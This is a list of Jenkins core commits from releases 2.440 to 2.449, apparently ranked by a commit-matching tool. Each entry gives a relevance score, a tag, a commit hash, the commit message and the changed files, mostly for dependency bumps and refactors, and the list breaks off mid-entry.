    • - - core/src/main/resources/hudson/model/Run/console.jelly - - core/src/main/resources/hudson/model/Run/console.properties - - core/src/main/resources/lib/layout/copyButton.jelly - - core/src/main/resources/lib/layout/copyButton/copyButton.js - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - `Nodes` persistence cleanup, APIs to control loading (#8979)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.449 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 13c86eeaf6354ea4f1b83e59752b43b4be200d2a -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8979
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      `Nodes` persistence cleanup, APIs to control loading (#8979) Co-authored-by: Vincent Latombe <vincent@latombe.net>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/model/Node.java - - core/src/main/java/jenkins/model/Jenkins.java - - core/src/main/java/jenkins/model/NodeListener.java - - core/src/main/java/jenkins/model/Nodes.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update Messages_es.properties, minor fixes in spanish translations... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.448 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 50f675f6e7a255e743066311c3acb7b35e59d008 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9005
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update Messages_es.properties, minor fixes in spanish translations (#9005) Some corrections in spanish translations
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/hudson/model/Messages_es.properties - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge pull request #8998 from basil/compress Upgrade... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.440.2 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3bfef8dacd083d542118e7795a372e775fff1831 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8998
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge pull request #8998 from basil/compress Upgrade `org.apache.commons:commons-compress` from 1.25.0 to 1.26.0 on `stable-2.440`
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Use `ABORTED` from `Run.reload` (#8986) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.448 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - e82487f257bd79fe96a6f0911dbf0410d3aceb51 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8986
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Use `ABORTED` from `Run.reload` (#8986)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/model/Run.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency postcss-loader to v8.1.1 (#9010) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.448 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 699f22167c01977d996fe56dee240e9bf1b2cbc2 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9010
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency postcss-loader to v8.1.1 (#9010) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump org.jenkins-ci.plugins:credentials from 1319.v7eb_51b_3a_c97b_... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.448 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 97b07c05d9ed431e4ec1ec714bfc79cc7532d91b -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9007
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump org.jenkins-ci.plugins:credentials from 1319.v7eb_51b_3a_c97b_ to 1337.v60b_d7b_c7b_c9f (#9007) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - test/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update babel monorepo to v7.24.0 (#9011) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.448 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 98bd62d5ad4934fdf74899d9ebbda1f221ce4960 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9011
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update babel monorepo to v7.24.0 (#9011) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Further reduce usages of `StringUtils` (#9002) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.448 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - b8e916a5367d41b0702f4efa9725ae5d1d6a9f7c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9002
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Further reduce usages of `StringUtils` (#9002)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/model/Descriptor.java - - core/src/main/java/hudson/util/FormValidation.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Stop shipping `commons-lang3` (#8997) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.448 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - db29f34460ed211484a331595986fe626cf2dce7 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8997
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Stop shipping `commons-lang3` (#8997)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Remove usages of `StringUtils#join` (#9003) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.448 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - aff37148c36dde873f53315cdd6629a47cf60bf0 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9003
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Remove usages of `StringUtils#join` (#9003)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/hudson/tasks/ArtifactArchiver/help-defaultExcludes.groovy - - core/src/main/resources/hudson/tasks/Fingerprinter/help-defaultExcludes.groovy - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump io.jenkins.plugins:plugin-util-api from 3.8.0 to 4.1.0 (#8988)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.448 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - bf82c475b7c76feec262b80404ea9177f356096c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8988
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump io.jenkins.plugins:plugin-util-api from 3.8.0 to 4.1.0 (#8988) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - test/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump com.puppycrawl.tools:checkstyle from 10.13.0 to 10.14.0 (#9000)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.448 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 19f0140adef29e86d150faa056a22ceb011c8b03 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9000
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump com.puppycrawl.tools:checkstyle from 10.13.0 to 10.14.0 (#9000) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Move `CloudList.setOwner` call from `Jenkins.loadTasks` to `load`... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.448 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 20263d06d445ead5b551ca08c946671a997a5f30 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8976
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Move `CloudList.setOwner` call from `Jenkins.loadTasks` to `load` (#8976) Co-authored-by: Vincent Latombe <vincent@latombe.net>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/jenkins/model/Jenkins.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency eslint to v8.57.0 (#8994) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.448 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 20696027875464226901df6549776465e680f427 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8994
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency eslint to v8.57.0 (#8994) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency sass to v1.71.1 (#8991) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.447 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 9412faf5ccbbf19990bd0d04a9e13c3b98284486 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8991
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency sass to v1.71.1 (#8991) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-60866][JENKINS-71513] Apply Stapler update for... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.447 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 64607784f87e40352a2d31591d6c57f07ca70a31 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 6865
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-60866][JENKINS-71513] Apply Stapler update for CSP-compliant st:bind and renderOnDemand (#6865) * [JENKINS-60866] Apply Stapler update for CSP-compliant st:bind * [JENKINS-60866] Make renderOnDemand CSP-compliant * Thanks Spotless * Make Stapler incrementals work * Update Stapler to new incremental * Fixup bad merge * Update Stapler, add test demonstrating st:bind working * Address review feedback * Add test for null bind, update Stapler * Checkstyle * More tests * Use released Stapler --------- Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com> Co-authored-by: Basil Crow <me@basilcrow.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - bom/pom.xml - - core/src/main/java/hudson/Functions.java - - core/src/main/resources/lib/layout/renderOnDemand.jelly - - war/src/main/webapp/scripts/hudson-behavior.js - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump roots/discourse-topic-github-release-action from 1.0.0 to 1.0.1... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.447 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 0d9fe471a3fdfcdfc76d0e6189b095c9c4dde207 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8982
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump roots/discourse-topic-github-release-action from 1.0.0 to 1.0.1 (#8982) Bumps [roots/discourse-topic-github-release-action](https://github.com/roots/discourse-topic-github-release-action) from 1.0.0 to 1.0.1. - [Release notes](https://github.com/roots/discourse-topic-github-release-action/releases) - [Commits](https://github.com/roots/discourse-topic-github-release-action/compare/fc9e50fa1a1ce6255ba4d03f104382845b79ad5f...c30dc233349b7c6f24f52fb1c659cc64f13b5474) --- updated-dependencies: - dependency-name: roots/discourse-topic-github-release-action dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - .github/workflows/announce-lts-rc.yml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump ip from 2.0.0 to 2.0.1 in /war (#8973) Signed-off-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.447 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - f7fea8d891dccedd6b16391ade1bef95374e8207 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8973
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump ip from 2.0.0 to 2.0.1 in /war (#8973) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency postcss-preset-env to v9.4.0 (#8983)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.447 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 981ebd4328651bb86fe333400c7d213205b4dd74 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8983
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency postcss-preset-env to v9.4.0 (#8983) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency sass-loader to v14.1.1 (#8981) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.447 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 4b7cde7c9501c736390a5e78d8a12cb5461d914a -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8981
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency sass-loader to v14.1.1 (#8981) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency webpack to v5.90.3 (#8980) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.447 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 2e07f81a62cd67271cd49bbe5e1b3b627ed1e9ce -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8980
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency webpack to v5.90.3 (#8980) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump org.apache.maven.plugins:maven-shade-plugin from 3.5.1 to 3.5.2... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.447 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 05627e2b5054b870e1341c836ba594221400c779 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8978
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump org.apache.maven.plugins:maven-shade-plugin from 3.5.1 to 3.5.2 (#8978) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - cli/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump org.apache.commons:commons-compress from 1.25.0 to 1.26.0... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.447 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 8d2045bf9caa9649523d7d980d301be83f6da748 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8971
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump org.apache.commons:commons-compress from 1.25.0 to 1.26.0 (#8971) Bumps org.apache.commons:commons-compress from 1.25.0 to 1.26.0. --- updated-dependencies: - dependency-name: org.apache.commons:commons-compress dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - bom/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency webpack to v5.90.2 (#8967) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.446 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 32ee888ae8040b9cabc7602d6aba8395041efaae -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8967
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency webpack to v5.90.2 (#8967) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency node to v20.11.1 (#8968) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.446 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - ab6fce6d4ec44af08c120f630778d8877ad53a80 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8968
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency node to v20.11.1 (#8968) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency sass to v1.71.0 (#8969) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.446 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3ed29aed3449de944eaec17ee8a37d8919358d20 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8969
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency sass to v1.71.0 (#8969) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge pull request #8957 from NotMyFault/backporting-the-2nd Second... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.440.1 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - d12b130d231a9ef3902ab945e2c8c1e74d95de6d -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8957
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge pull request #8957 from NotMyFault/backporting-the-2nd Second backporting for 2.440.1
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Fix login form window size responsiveness thresholds (#8959) >= and... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.446 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 1c1190c3ae08454954e4370b7cfc42c0a3e48b42 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8959
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Fix login form window size responsiveness thresholds (#8959) >= and <= overlap Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/src/main/scss/pages/_sign-in-register.scss - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - `WebSockets.upgradeResponse` (#8917) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.446 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - db61f04af8e553dc55d2cb2fa18fa5581dab4310 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8917
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      `WebSockets.upgradeResponse` (#8917)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/jenkins/websocket/WebSockets.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency postcss to v8.4.35 (#8950) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.445 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 510867a2f24c1c583803b29bd8b42b46b1c87737 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8950
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency postcss to v8.4.35 (#8950) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump commons-codec:commons-codec from 1.16.0 to 1.16.1 (#8949) Bumps... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.445 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - f2b082e3f5e8b11ec2ba524d92f40b2ef808a33d -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8949
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump commons-codec:commons-codec from 1.16.0 to 1.16.1 (#8949) Bumps [commons-codec:commons-codec](https://github.com/apache/commons-codec) from 1.16.0 to 1.16.1. - [Changelog](https://github.com/apache/commons-codec/blob/master/RELEASE-NOTES.txt) - [Commits](https://github.com/apache/commons-codec/compare/rel/commons-codec-1.16.0...rel/commons-codec-1.16.1) --- updated-dependencies: - dependency-name: commons-codec:commons-codec dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - bom/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge pull request #8945 from NotMyFault/backporting-2.440.1... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.440.1 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - b9373bbcf23c2ca8e0984bc62800125558351934 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8945
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge pull request #8945 from NotMyFault/backporting-2.440.1 Backporting for 2.440.1
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72637] Make Cloud permission scope inherit from Jenkins... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.445 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
